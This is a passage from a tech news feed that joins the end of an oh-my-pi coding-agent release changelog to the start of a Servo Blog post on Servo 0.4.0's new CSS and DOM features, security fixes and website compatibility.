<li>fix(plan-mode): prefer newest draft during review by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973508999" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6570" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6570/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6570">#6570</a></li>
<li>fix(utils): correct shell path config guidance by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4974353386" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6581" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6581/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6581">#6581</a></li>
<li>fix(tui): attach drag-dropped image paths with unescaped spaces by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rcbran/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rcbran">@rcbran</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4974369092" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6582" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6582/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6582">#6582</a></li>
<li>fix(coding-agent): re-export estimateTokens from legacy pi shim by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4974396595" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6584" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6584/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6584">#6584</a></li>
<li>fix(cli): redact credential settings in config list by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolfiesch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolfiesch">@wolfiesch</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4974770089" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6588" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6588/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6588">#6588</a></li>
<li>fix(ai): disable adaptive-only thinking on disableReasoning and forced tool choice by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4974937698" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6590" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6590/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6590">#6590</a></li>
<li>fix(natives): settle macOS input before capture by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolfiesch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolfiesch">@wolfiesch</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975016791" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6595" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6595/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6595">#6595</a></li>
<li>fix(coding-agent): preserve Claude computer coordinates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolfiesch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolfiesch">@wolfiesch</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975018943" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6596" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6596/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6596">#6596</a></li>
<li>docs: reconcile omp:// task/eval docs with 17.1.3 runtime by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975043820" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6597" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6597/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6597">#6597</a></li>
<li>feat(catalog): add Claude Opus 5 entries for Amazon Bedrock by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/k1riiiii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/k1riiiii">@k1riiiii</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975269814" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6599" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6599/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6599">#6599</a></li>
<li>fix(catalog): downgrade forced tool choice for thinking-locked Kimi Code aliases by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/voidfreud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/voidfreud">@voidfreud</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975382629" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6601" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6601/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6601">#6601</a></li>
<li>fix(natives): preserve newer cache versions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolfiesch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolfiesch">@wolfiesch</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975614633" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6606" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6606/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6606">#6606</a></li>
<li>fix(coding-agent): handle vibe session commands safely by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975663494" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6608" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6608/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6608">#6608</a></li>
<li>fix(ai): preserved Bedrock ARN thinking signatures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975829419" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6613" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6613/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6613">#6613</a></li>
<li>fix(cursor): sync native todo list from server-resolved tool calls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quantmind-br/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quantmind-br">@quantmind-br</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975908590" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6616" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6616/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6616">#6616</a></li>
<li>docs(bash): document bundled jaq divergence by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975909522" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6617" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6617/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6617">#6617</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/everton-dgn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/everton-dgn">@everton-dgn</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978086993" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6650" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6650/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6650">#6650</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paolomazzitti/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paolomazzitti">@paolomazzitti</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980624325" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6701" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6701/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6701">#6701</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ant39140/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ant39140">@Ant39140</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968208575" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6513" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6513/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6513">#6513</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4969963471" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6527" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6527/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6527">#6527</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rvagg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rvagg">@rvagg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973213595" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6557" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6557/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6557">#6557</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sethmorton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sethmorton">@sethmorton</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973333780" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6564" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6564/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6564">#6564</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rcbran/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rcbran">@rcbran</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4974369092" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6582" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6582/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6582">#6582</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/k1riiiii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/k1riiiii">@k1riiiii</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975269814" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6599" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6599/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6599">#6599</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/voidfreud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/voidfreud">@voidfreud</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975382629" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6601" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6601/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6601">#6601</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quantmind-br/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quantmind-br">@quantmind-br</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975908590" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/6616" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/6616/hovercard" href="https://github.com/can1357/oh-my-pi/pull/6616">#6616</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v17.1.3...v17.1.4">v17.1.3...v17.1.4</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Servo Blog: June in Servo: real world compat, media queries, SharedWorker, and more!]]></title>
<description><![CDATA[Servo 0.4.0 contains all of the changes we landed in June, which came out to yet another record 558 commits (April: 534, May: 391).
For security fixes, see § Security.

    

We’ve shipped several new web platform features:

‘attr()’, in experimental mode (@Loirooriol, #45041)
‘image()’, ‘closest...]]></description>
<link>https://tsecurity.de/de/3698403/tools/the-servo-blog-june-in-servo-real-world-compat-media-queries-sharedworker-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698403/tools/the-servo-blog-june-in-servo-real-world-compat-media-queries-sharedworker-and-more/</guid>
<pubDate>Mon, 03 Aug 2026 00:10:18 +0200</pubDate>
<content:encoded><![CDATA[<p><a href="https://github.com/servo/servo/releases/tag/v0.4.0"><strong>Servo 0.4.0</strong></a> contains all of the changes we landed in June, which came out to yet another record <strong>558 commits</strong> (April: 534, May: 391).
For security fixes, see <a href="https://servo.org/blog/2026/07/31/june-in-servo/#security"><strong>§ Security</strong></a>.</p>
<figure>
    <a href="https://servo.org/img/blog/2026-07-diffie.png"><img alt="servoshell 0.4.0 showing several new features: the ‘width’, ‘height’, ‘device-width’, ‘device-height’, and ‘aspect-ratio’ media query features, plus the upgraded ‘attr()’ function, with a box whose ‘background-color’ and ‘width’ are controlled by data attributes that are in turn set by range inputs" src="https://servo.org/img/blog/2026-07-diffie.png"></a>
</figure>
<p>We’ve shipped several new web platform features:</p>
<ul>
<li><strong>‘attr()’</strong>, in <a href="https://book.servo.org/design-documentation/experimental-features.html#experimental-web-platform-features">experimental mode</a> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45041">#45041</a>)</li>
<li><strong>‘image(&lt;color&gt;)’</strong>, <strong>‘closest-corner’</strong>, and <strong>‘farthest-corner’</strong> in <strong>‘ellipse()’</strong> and <strong>‘circle()’</strong> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45421">#45421</a>)</li>
<li><strong>‘calc()’</strong> and other <a href="https://drafts.csswg.org/css-values/#math">mathematical expressions</a> can now be resolved later than parse time, e.g. <code>sign(1em - 32px)</code> (<a href="https://github.com/Loirooriol">@Loirooriol</a>, <a href="https://github.com/servo/servo/pull/45421">#45421</a>)</li>
<li><strong>‘font-feature-settings’</strong> in <strong>‘@font-face’</strong> (<a href="https://github.com/simonwuelker">@simonwuelker</a>, <a href="https://github.com/servo/servo/pull/45393">#45393</a>)</li>
<li><strong>‘@media (device-width)’</strong>, <strong>‘@media (device-height)’</strong>, <strong>‘@media (height)’</strong>, <strong>‘@media (aspect-ratio)’</strong>, and their <strong>min-</strong> and <strong>max-</strong> variants (<a href="https://github.com/jdm">@jdm</a>, <a href="https://github.com/mrobinson">@mrobinson</a>, <a href="https://github.com/nicoburns">@nicoburns</a>, <a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/44978">#44978</a>, <a href="https://github.com/servo/servo/pull/45707">#45707</a>, <a href="https://github.com/servo/servo/pull/45490">#45490</a>)</li>
<li><strong>‘@media (orientation)’</strong> (<a href="https://github.com/nicoburns">@nicoburns</a>, <a href="https://github.com/servo/servo/pull/45707">#45707</a>)</li>
<li><strong>‘@media (pointer)’</strong> and <strong>‘@media (any-pointer)’</strong> (<a href="https://github.com/nicoburns">@nicoburns</a>, <a href="https://github.com/servo/servo/pull/45681">#45681</a>)</li>
<li><strong>‘@media (hover)’</strong> and <strong>‘@media (any-hover)’</strong> (<a href="https://github.com/nicoburns">@nicoburns</a>, <a href="https://github.com/servo/servo/pull/45681">#45681</a>)</li>
</ul>
<p>Plus a bunch of new DOM APIs:</p>
<ul>
<li><strong>Shared­Worker</strong> (<a href="https://github.com/Taym95">@Taym95</a>, <a href="https://github.com/servo/servo/pull/45786">#45786</a>)</li>
<li><strong>console­.dir()</strong> (<a href="https://github.com/Taym95">@Taym95</a>, <a href="https://github.com/servo/servo/pull/45109">#45109</a>)</li>
<li><strong>custom­Element­Registry</strong> on <strong>Document</strong> and <strong>Shadow­Root</strong> (<a href="https://github.com/shubhamg13">@shubhamg13</a>, <a href="https://github.com/servo/servo/pull/45872">#45872</a>)</li>
<li><strong>initialize()</strong> on <strong>Custom­Element­Registry</strong> (<a href="https://github.com/shubhamg13">@shubhamg13</a>, <a href="https://github.com/yezhizhen">@yezhizhen</a>, <a href="https://github.com/servo/servo/pull/45903">#45903</a>)</li>
<li><strong>new Custom­Element­Registry()</strong> (<a href="https://github.com/shubhamg13">@shubhamg13</a>, <a href="https://github.com/servo/servo/pull/45791">#45791</a>, <a href="https://github.com/servo/servo/pull/45550">#45550</a>)</li>
<li><strong>text­Stream()</strong> on <strong>Request</strong>, <strong>Response</strong>, and <strong>Blob</strong> (<a href="https://github.com/yezhizhen">@yezhizhen</a>, <a href="https://github.com/servo/servo/pull/45864">#45864</a>, <a href="https://github.com/servo/servo/pull/45861">#45861</a>)</li>
<li><strong>set­Pointer­Capture()</strong>, <strong>release­Pointer­Capture()</strong>, <strong>has­Pointer­Capture()</strong> on <strong>Element</strong> (<a href="https://github.com/webbeef">@webbeef</a>, <a href="https://github.com/servo/servo/pull/45048">#45048</a>)</li>
<li><strong>on­touch­start</strong>, <strong>on­touch­end</strong>, <strong>on­touch­move</strong>, <strong>on­touch­cancel</strong> on <strong>Element</strong> (<a href="https://github.com/stevennovaryo">@stevennovaryo</a>, <a href="https://github.com/servo/servo/pull/45049">#45049</a>)</li>
<li><strong>crypto­.subtle­.digest()</strong> for <strong>KT128</strong> and <strong>KT256</strong> (<a href="https://github.com/kkoyung">@kkoyung</a>, <a href="https://github.com/servo/servo/pull/45699">#45699</a>)</li>
<li><strong>crypto­.subtle­.get­Public­Key()</strong> for <strong>ML-KEM</strong> and <strong>ML-DSA</strong> (<a href="https://github.com/kkoyung">@kkoyung</a>, <a href="https://github.com/servo/servo/pull/45252">#45252</a>)</li>
</ul>
<p>This is another big update, so here’s an outline:</p>
<ul>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#you-can-help"><strong>You can help!</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#security"><strong>Security</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#real-world-compat"><strong>Real world compat</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#work-in-progress"><strong>Work in progress</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#embedding-api"><strong>Embedding API</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#for-users-and-developers"><strong>For users and developers</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#more-on-the-web-platform"><strong>More on the web platform</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#garbage-collection-safety"><strong>Garbage collection safety</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#performance-and-stability"><strong>Performance and stability</strong></a></p>
</li>
<li>
<p><a href="https://servo.org/blog/2026/07/31/june-in-servo/#new-contributors"><strong>New contributors</strong></a></p>
</li>
</ul>
<h3>You can help! <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#you-can-help!">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>Servo is steadily becoming a bigger and busier project every month, and by June 2026, we’ve been reading through <strong>over four times</strong> the commits as we did when we started in September 2023.</p>
<figure>
    <a href="https://servo.org/img/blog/2026-07-commits.png"><img alt="line chart showing how many commits landed in Servo’s main repo each month from September 2023 to June 2026 inclusive. there’s a clear linear trend, from 130 commits up to 551 commits" src="https://servo.org/img/blog/2026-07-commits.png"></a>
</figure>
<p>This is hard work, particularly since there are things we need to know that are often difficult to answer just by reading the changes:</p>
<ul>
<li>
<p><strong>Who does the change affect</strong>, if anyone? Does it affect users, Servo developers, embedders, or some other group?</p>
</li>
<li>
<p><strong>What observable difference does the change make</strong>, if any?</p>
</li>
<li>
<p><strong>Does the feature require any preferences to be enabled</strong>, or is it enabled for everyone by default?</p>
</li>
<li>
<p><strong>Are any real-world websites affected by the change?</strong></p>
</li>
<li>
<p><strong>What issue or broader project is the change related to?</strong> This question is answered by <code>Fixes: #xxxxx</code> or <code>Part of: #xxxxx</code> in the PR description.</p>
</li>
</ul>
<p>Thanks to an initiative by <a href="https://github.com/jdm">@jdm</a>, it’s now easier than ever for you to <strong>help us answer those questions</strong>, using the Servo Highfive bot!
If you’re working on a pull request that you think might be interesting for the next monthly update, even if you’re not 100% sure, tell us about it by following the steps below:</p>
<ol>
<li>
<p>You add the <span><span>monthly update</span></span> label to your pull request, or comment <code><a href="https://github.com/servo-highfive">@servo-highfive</a> monthly update</code></p>
</li>
<li>
<p>Highfive posts a comment asking you some questions</p>
</li>
<li>
<p>You answer those questions in a comment containing <code><a href="https://github.com/servo-highfive">@servo-highfive</a> monthly update answer</code></p>
</li>
</ol>
<h3>Security <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#security">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>Servo’s JS runtime, <strong>SpiderMonkey 140.10.1</strong>, had several <strong>security bugs</strong> that have been fixed in Servo 0.4.0 with the update to SpiderMonkey 140.11.0 (<a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/45584">#45584</a>).
For more details, see <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-8388">CVE-2026-8388</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-8391">CVE-2026-8391</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-8974">CVE-2026-8974</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-8975">CVE-2026-8975</a>, and <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2026-48/">MFSA 2026-48</a>.</p>
<p>Several more <strong>security bugs</strong> in Servo’s JS runtime have been fixed in Servo 0.4.0 with the update to SpiderMonkey 140.12.0 (<a href="https://github.com/jschwe">@jschwe</a>, <a href="https://github.com/servo/servo/pull/45766">#45766</a>).
The exact CVEs that apply to us are not yet known, but for more details, see <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2026-58/">MFSA 2026-58</a>.</p>
<p><strong>RSA</strong> operations in <strong>Subtle­Crypto</strong> now do modular exponentiation in constant time (<a href="https://github.com/kkoyung">@kkoyung</a>, <a href="https://github.com/servo/servo/pull/45631">#45631</a>).
Please note that our RSA implementation is currently vulnerable to the <a href="https://people.redhat.com/~hkario/marvin/">Marvin Attack</a> – for more details, see <a href="https://rustsec.org/advisories/RUSTSEC-2023-0071.html">RUSTSEC-2023-0071</a>.</p>
<p><strong>ML-DSA</strong> operations in <strong>Subtle­Crypto</strong> now do the Decompose step in constant time, fixing <a href="https://rustsec.org/advisories/RUSTSEC-2025-0144.html">RUSTSEC-2025-0144</a> (<a href="https://github.com/kkoyung">@kkoyung</a>, <a href="https://github.com/servo/servo/pull/45294">#45294</a>).</p>
<p>We’ve fixed an HTML injection bug (XSS) in <strong>file:/// directory listings</strong>, which affected file names containing <code>&lt;/script&gt;</code> (<a href="https://github.com/sahvx655-wq">@sahvx655-wq</a>, <a href="https://github.com/servo/servo/pull/45510">#45510</a>).</p>
<h3>Real world compat <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#real-world-compat">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>Layout correctness has significantly improved on <strong><a href="https://lichess.org/">lichess.org</a></strong>, and many websites have become a lot more readable thanks to our improved handling of <strong>variable fonts</strong> (<a href="https://github.com/simonwuelker">@simonwuelker</a>, <a href="https://github.com/servo/servo/pull/45768">#45768</a>), including <strong>Zulip (<a href="https://servo.zulipchat.com/">servo.zulipchat.com</a>)</strong> and <strong>Speedtest (<a href="https://speedtest.net/">speedtest.net</a>)</strong>.</p>
<figure class="_spaced">
    <div class="_peel">
        <div class="_line">
            <div class="_left"><div>v0.3.0</div></div>
            <div class="_right"><div>v0.4.0</div></div>
        </div>
        <img src="https://servo.org/img/blog/2026-07-161705.png">
        <img src="https://servo.org/img/blog/2026-07-161708.png">
    </div>
    <figcaption><a href="https://lichess.org/">lichess.org</a></figcaption>
</figure>
<figure class="_spaced">
    <div class="_peel">
        <div class="_line">
            <div class="_left"><div>v0.3.0</div></div>
            <div class="_right"><div>v0.4.0</div></div>
        </div>
        <img src="https://servo.org/img/blog/2026-07-161115.png">
        <img src="https://servo.org/img/blog/2026-07-161201.png">
    </div>
    <figcaption>Zulip (<a href="https://servo.zulipchat.com/">servo.zulipchat.com</a>)</figcaption>
</figure>
<figure class="_spaced">
    <div class="_peel">
        <div class="_line">
            <div class="_left"><div>v0.3.0</div></div>
            <div class="_right"><div>v0.4.0</div></div>
        </div>
        <img src="https://servo.org/img/blog/2026-07-174050.png">
        <img src="https://servo.org/img/blog/2026-07-174052.png">
    </div>
    <figcaption>Speedtest (<a href="https://speedtest.net/">speedtest.net</a>)</figcaption>
</figure>
<p>Many websites worked in Servo even before version 0.4.0, including <strong>Google Photos (<a href="https://photos.google.com/">photos.google.com</a>)</strong> and Cash Converters (<a href="https://cashconverters.com.au/">cashconverters.com.au</a>), and continue to work in version 0.4.0.
Other websites, like Google Maps (<a href="https://maps.google.com/">maps.google.com</a>) and OpenStreetMap (<a href="https://www.openstreetmap.org/">www.openstreetmap.org</a>), render well but have some issues with interactivity.</p>
<figure class="_spaced _halves">
    <figure class="_spaced">
        <a href="https://servo.org/img/blog/2026-07-175215.png"><img src="https://servo.org/img/blog/2026-07-175215.png"></a>
        <figcaption>Google Photos (<a href="https://photos.google.com/">photos.google.com</a>)</figcaption>
    </figure>
    <figure class="_spaced">
        <a href="https://servo.org/img/blog/2026-07-162341.png"><img src="https://servo.org/img/blog/2026-07-162341.png"></a>
        <figcaption>Cash Converters (<a href="https://cashconverters.com.au/">cashconverters.com.au</a>)</figcaption>
    </figure>
    <figure class="_spaced">
        <a href="https://servo.org/img/blog/2026-07-202258.png"><img src="https://servo.org/img/blog/2026-07-202258.png"></a>
        <figcaption>Google Maps (<a href="https://maps.google.com/">maps.google.com</a>)</figcaption>
    </figure>
    <figure class="_spaced">
        <a href="https://servo.org/img/blog/2026-07-203458.png"><img src="https://servo.org/img/blog/2026-07-203458.png"></a>
        <figcaption>OpenStreetMap (<a href="https://www.openstreetmap.org/">www.openstreetmap.org</a>)</figcaption>
    </figure>
</figure>


<p>We’re interested to hear how well your favourite websites run in Servo!
Report successes in <a href="https://servo.zulipchat.com/#narrow/channel/263398-general/topic/Servo.20web.20compat.20success.20stories/with/612898341">this Zulip thread</a>, and failures <a href="https://github.com/servo/servo/issues">in our GitHub issues</a>.</p>
<h3>Work in progress <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#work-in-progress">
